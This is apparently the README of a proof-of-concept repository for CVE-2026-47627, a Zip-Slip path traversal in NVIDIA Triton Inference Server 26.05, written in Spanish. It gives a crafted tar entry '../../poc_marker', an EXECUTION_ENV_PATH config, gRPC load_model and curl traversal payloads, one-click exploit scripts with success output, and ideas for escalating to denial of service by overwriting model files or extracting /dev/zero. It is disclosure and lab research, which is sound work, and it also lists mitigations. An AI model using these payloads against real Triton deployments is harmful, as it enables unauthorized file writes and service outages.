
Prueba de concepto de exploit para CVE-2026-47627, una vulnerabilidad de path traversal en NVIDIA Triton Inference Server que permite la escritura arbitraria de archivos mediante Zip-Slip. Incluye análisis detallado, entorno de laboratorio y scripts de exploit con un solo clic.
Writeup completo de la investigación y PoC en este repo (imagen
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0). El repo está configurado para estar siempre en modoexplicitpara que el PoC funcione sin reinicio vía gRPC.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| Publicación | 2026-08-18 (NVD en Análisis) |
| Boletín | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 CRÍTICO AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 Path Traversal |
| Afectado | 0.0-26.05 (server v2.69.0 / core r26.05) |
| Corregido | 26.06 (server v2.70.0 / core r26.06) |
| Impacto | DoS (descripción del CNA) — esta investigación demuestra escritura de archivos fuera de /models vía Zip-Slip, que puede ampliarse a DoS/agotamiento de recursos |
| Crédito | Martin Brodeur |
Nota honesta: La descripción del CNA solo indica
path traversal → DoSsin detalles. Este writeup reconstruye la ubicación del bug mediante el diffr26.05..r26.06y pruebas directas en el contenedor26.05-py3.
Imagen: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)
Compose siempre en explicit (ya parcheado en este repo):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 también están en explicit.
Modo Triton:
NONE (predeterminado upstream) → carga una vez al inicio, POST /v2/repository/models/.../load → 503, requiere reinicio para cargar un modelo nuevo.POLL → escanea el repo cada segundo, auto-carga, sigue bloqueando la carga explícita.EXPLICIT (este repo) → no escanea, pero abre gRPC load_model / POST /load → PoC sin reinicio vía gRPC.Puertos:
| 8000 | HTTP REST | v2/health, v2/models, v2/repository |
| 8001 | gRPC | RepositoryModelLoad, ModelInfer |
| 8002 | Métricas | Prometheus |
Modelo inicial:
model_repository/
├── echo_python/ (backend python, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
Inicio rápido:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + infer identity_onnx
Entrada del usuario (model_name / entrada tar) ──► join(parent, child) ──► canonicalize ──► verificar "¿child dentro de parent?" ──► abrir archivo
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + verificación '/' FileExists / extract
join sin canonicalize o la verificación rfind(parent,0)==0 es incorrecta (coincidencia parcial /models vs /models_evil), entonces ../ puede escapar./dev/zero, /proc/self/mem, o un tar que contiene ../../ que sobrescribe archivos del sistema → cuelgue / OOM / crash.Tres preguntas de investigación (del informe inicial):
model_name en gRPC RepositoryModelLoad, entrada tar EXECUTION_ENV_PATH, override file:, TRITON_BATCH_STRATEGY_PATH.posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.DoS vía agotamiento de recursos / cuelgue. En este repo se demuestra escritura de archivos en /tmp/poc_marker.Repo core (r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — fix dcb315d + 72f3d9b:
// VULNERABLE (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → bug de coincidencia parcial: el prefijo "/models" de "/models_evil/file" se considera interno
// CORREGIDO (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → debe haber '/' después del prefijo, "/models_evil" ahora está correctamente fuera
Usado en src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) y src/model_repository_manager/model_repository_manager.cc:162 (file:).
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (marzo 2026, ya en 26.05 pero reforzado en 26.06):
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
Esto es lo que hace que gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT en 26.05 (ya bloqueado). Pero %2f (/ codificado) pasa porque no es un / literal → 500 de poll literal.
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 test zipslip_test.py:
El tar se extrae sin verificar .. / rutas absolutas. La entrada ../../poc_marker de /models/poc_exploit/malicious_env.tar.gz se extrae a /tmp/poc_marker (fuera del directorio del modelo). Fix en 26.06: usar ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + verificación IsChildPathEscapingParentPath.
Repo server (r26.05..r26.06): solo sagemaker_server.cc:1027 (verificación RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), no es la ruta de este CVE.
Conclusión: La ruta model_name vía HTTP/gRPC ya está bloqueada en 26.05 por ValidateModelName, pero el Zip-Slip del tar no — esto es lo que explota el PoC de este repo.
| Vector | Payload | Resultado 26.05 | ¿Afecta? |
|---|---|---|---|
HTTP raw ../ | POST /v2/repository/models/../tmp/pwn/load | 404 (normalización de ruta) | ❌ |
HTTP codificado ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 literal, poll /models/..%2ftmp%2fpwn no existe | ❌ (500 falso, no es traversal) |
gRPC raw ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌ (ya bloqueado) |
gRPC codificado ..%2f | load_model('..%2ftmp%2fpwn') | 500 poll literal | ❌ |
Override file: ../models_evil | file:../models_evil/pwn | 400/500 dependiendo de la coincidencia parcial | ⚠️ (depende del bug IsChildPathEscapingParentPath, pero ya bloqueado por ValidateModelName para model_name) |
Tar EXECUTION_ENV_PATH ../../poc_marker | malicious_env.tar.gz entrada ../../poc_marker | 200 + archivo en /tmp/poc_marker | ✅ VULNERABLE |
La analogía
500 vs 400en el writeup anterior era incorrecta:500= archivo no existe (la puerta no está),400= rechazado por validación (la puerta está cerrada con llave). Ninguno entra. Solo200+ archivo en/tmpes evidencia.
Idea: El parámetro del backend Python EXECUTION_ENV_PATH apunta a $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. Cuando se ejecuta load_model('poc_exploit'), el backend pb_env.cc:292 extrae el tar sin sanitización. La entrada ../../poc_marker escapa de .../poc_exploit/ a /tmp/poc_marker.
Pasos del PoC (automatizado en scripts/exploit.py:28 y exploit.ps1:20):
echo_python → poc_exploit (scripts/exploit.py:35)config.pbtxt (scripts/exploit.py:40):
parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
scripts/exploit.py:44):
TarInfo(name='../../poc_marker', size=6, mode=0o644) # → /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)
gRPC load_model('poc_exploit') (scripts/exploit.py:60) — sin reinicio porque está en explicit.docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)Requisitos previos: Docker, imagen 26.05-py3 ya con docker compose up -d (el repo ya está en explicit).
Python (sin reinicio, vía gRPC):
py scripts/exploit.py # auto-detecta explicit → gRPC
py scripts/exploit.py --keep # conserva el artefacto para verificación manual
# verificación manual: docker exec tritonserver-test cat /tmp/poc_marker
# limpieza manual: docker exec tritonserver-test rm -f /tmp/poc_marker
PowerShell:
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
Volver a MODE_NONE (si se desea el upstream predeterminado):
# editar docker-compose.yml:12 eliminar --model-control-mode=explicit
docker compose up -d --force-recreate
Prueba de bloqueo (debe dar 400/404/500, no 200):
py scripts/test_http_grpc_blocked.py # estaba en el repo anterior, ahora eliminado — usar el log de exploit.py
# o manual:
curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}" # 500
py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')" # 400
Vulnerable (26.05) — salida de exploit.py:
[*] Disparando exploit vía gRPC load (sin reinicio)...
[+] Envío de gRPC load completado
[+] VULNERABLE: /tmp/poc_marker existe fuera de /models
cat: pwned
[+] Exploit exitoso — escritura de archivo fuera del repositorio confirmada
Verificación:
docker exec tritonserver-test ls -l /tmp/poc_marker # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
docker exec tritonserver-test cat /tmp/poc_marker # pwned
docker logs tritonserver-test --tail 20 | grep Extracting # Extracting Python execution env .../malicious_env.tar.gz
Parcheado (26.06) — esperado:
[-] No vulnerable: /tmp/poc_marker no encontrado
# log: Path contains '..' (o Path is absolute)
HTTP/gRPC .. debe dar 400, no 500:
# 26.05 gRPC raw ../ → 400 INVALID_ARGUMENT (ya bloqueado por ValidateModelName)
# 26.05 gRPC ..%2f → 500 poll literal (bypass de validación pero no es traversal real)
# 26.06 ambos → 400
El CNA indica DoS, pero este Zip-Slip puede hacer sobrescritura de archivos → DoS:
model.py / config.pbtxt de otro modelo → el modelo falla al cargar → 503bin/activate grande o FIFO /tmp/fifo → cuelga el hilo pb_env.cc → UNAVAILABLEload_model con tar ../../dev/zero (infinito) → OOMEste repo se centra en la escritura de archivos como evidencia del traversal; el DoS puede ampliarse con un tar que contenga 1/model.py con bucle infinito.
26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.8000/8001 a internet (proxy inverso + autenticación).. y %2f en URL y EXECUTION_ENV_PATHEXECUTION_ENV_PATH del backend Python si no es necesariodocker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f".
├── model_repository/
│ ├── echo_python/ # ejemplo de backend python
│ └── identity_onnx/ # ejemplo de onnxruntime
├── scripts/
│ ├── exploit.py:1 # PoC principal (Python, oneclick, gRPC, sin reinicio)
│ ├── generate_model.py # regenerar identity_onnx
│ └── client_test.py # prueba de health + infer
├── exploit.ps1:1 # PoC principal (PowerShell, oneclick)
├── docker-compose.yml:12 # siempre en explicit
├── run_triton.bat:10 / .ps1:11 / .sh:12 # siempre en explicit
├── requirements.txt # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
└── README.md # este writeup
Eliminados: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.
https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (En Análisis)dcb315d (Modernize Child Path), 72f3d9b (test de child path), e520f8c7 (test zipslip), 50830ba/66f09f8 (ValidateModelName)v2.70.0 (690f9dd)| Fecha | Evento |
|---|---|
| 2026-03-03 | core#472 ValidateModelName |
| 2026-03-16 | core#481 trim POSIX |
| 2026-05-18 | core#497 IsChildPathEscapingParentPath |
| 2026-06-02 | server#8857 test zipslip |
| 2026-06-26 | 26.06 / v2.70.0 lanzamiento del parche |
| 2026-08-18 | Publicación del CVE |
| 2026-09-02 | Repo PoC verificado en 26.05-py3 → VULNERABLE |
Este PoC es para educación y laboratorio cerrado. No expongas 8000/8001 sin autenticación. Siempre ejecuta exploit.py --keep y luego docker exec tritonserver-test rm -f /tmp/poc_marker y Remove-Item -Recurse model_repository/poc_exploit después de la demo.